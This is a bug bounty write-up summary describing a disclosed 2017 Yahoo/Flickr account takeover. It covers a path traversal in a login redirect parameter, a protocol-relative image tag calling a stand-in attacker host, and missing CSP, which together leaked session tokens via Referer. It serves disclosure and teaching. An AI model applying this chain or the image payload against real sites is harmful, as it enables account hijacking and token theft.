# Yahoo Bug Bounty: Chaining 3 Minor Issues To Takeover Flickr Accounts

Path traversal in Yahoo login .done param plus a CSP-less Flickr forum image embed leaked .data/.ys tokens via Referer, enabling Flickr account takeover.

- Payout: $7,000
- Severity: high
- Program: Yahoo! / Verizon Media
- Credited: Michael Reizelman
- Disclosed: 2017-10-13
- Write-up quality: 8/10
- Original: https://mishresec.wordpress.com/2017/10/13/yahoo-bug-bounty-chaining-3-minor-issues-to-takeover-flickr-accounts/
- Library page: https://bugbountylibrary.com/r/blog%3Amishresec-wordpress-com-2017-10-13-yahoo-bug-bounty-chaining-3-minor-issues-to-takeover-flickr-accounts
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:oauth technique:chained vuln:account-takeover vuln:info-disclosure vuln:open-redirect vuln:path-traversal

**Target:** Yahoo SSO login flow and Flickr forum comment image embedding
**Root cause:** Yahoo validated only the prefix of the .done redirect param, allowing ../ traversal to any flickr.com path; Flickr forum pages lacked CSP and the image proxy was bypassed with a protocol-relative // URL, so an attacker-controlled image loaded with tokens in the landing URL leaked them via Referer.
**Steps:**
1. Observe Flickr login redirects to https://www.flickr.com/signin/yahoo/?redir=...&.data={token}&.ys={token}
2. Append ../../help/forum/en-us/<thread>/page14/ to the .done param so tokens land on a forum page
3. Post comment `<img src="\/\/www.attacker.com/someimage.jpg" />` on a Flickr forum thread (bypasses ec.yimg.com proxy and no CSP there)
4. Send victim the crafted login.yahoo.com/config/validate?...&.done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2F... link
5. Victim's browser loads attacker image with Referer containing .data and .ys tokens
6. Attacker browses https://www.flickr.com/signin/yahoo/?.data={leaked}&.ys={leaked} to log in as victim
**How found:** Noticed the .done param controls token destination and only prefix-checks flickr.com/signin/yahoo/, so tried ../ traversal. No open redirect on main domain, so hunted for token leak via Referer; found comment image embedding, saw proxy rewriting src, bypassed with // trick, then found forum pages lack CSP.
**Exploitation:** Attacker posts an external image in a Flickr forum comment, crafts a Yahoo login URL whose .done traverses to that forum page, and lures a logged-in Yahoo user to click it. The auto-login flow appends tokens to the forum URL; the embedded image request sends those tokens in the Referer header to the attacker, who replays them at the Flickr signin endpoint for account takeover.
**Escalation:** Chained three minor issues: .done prefix-only validation, image proxy bypass via //, and missing CSP on forum pages.
**Insight:** When a redirect param is prefix-validated, test ../ traversal to other same-origin paths; then hunt for any same-origin page that loads attacker-controlled subresources (comments, forums) without CSP to exfiltrate secrets sitting in the URL via Referer.